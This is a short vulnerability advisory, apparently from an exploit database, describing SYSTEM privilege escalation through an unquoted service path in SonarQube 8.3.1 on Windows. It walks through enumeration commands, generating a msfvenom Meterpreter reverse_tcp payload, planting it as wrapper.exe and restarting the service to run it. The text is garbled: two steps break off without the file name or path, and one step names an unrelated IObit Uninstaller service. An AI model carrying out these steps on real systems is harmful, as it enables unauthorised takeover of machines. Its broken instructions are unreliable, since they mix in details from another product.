# Title: Sonar Qube 8.3.1 - 'SonarQube Service' Unquoted Service Path
# Author: Velayutham Selvaraj
# Date: 2020-06-03
# Vendor Homepage: https://www.sonarqube.org
# Software Link: https://www.sonarqube.org/downloads/
# Version : 8.3.1
# Tested on: Windows 10 64bit(EN)
About Unquoted Service Path :
When a service is created whose executable path contains spaces and isn't
enclosed within quotes,
leads to a vulnerability known as Unquoted Service Path which allows a user
to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level
which most of the time it is).
Steps to recreate :
1. Open CMD and Check for USP vulnerability by typing [ wmic service get
name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v
"c:\windows\\" | findstr /i /v """ ]
2. The Vulnerable Service would Show up.
3. Check the Service Permissions by typing [ sc qc SonarQube]
4. The command would return..
C:\Users\HP-840-G2-ELITEBOOK>sc qc SonarQube
[SC] QueryServiceConfig SUCCESS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
TAG : 0
DISPLAY_NAME : SonarQube
SERVICE_START_NAME : LocalSystem
5. This concludes that the service is running as SYSTEM. "Highest
privilege in a machine"
6. Now create a Payload with msfvenom or other tools and name it to
7. Make sure you have write Permissions to where you downloaded. i kept it
in downloads folders but confirmed it in program files as well.
8. Provided that you have right permissions, Drop the wrapper.exe
executable you created into the
9. Now restart the IObit Uninstaller service by giving coommand [ sc stop
SonarQube] followed by [ sc start SonarQube]
10. If your payload is created with msfvenom, quickly migrate to a
different process. [Any process since you have the SYSTEM Privilege].
During my testing :
Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o wrapper.exe
Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a
different Process ]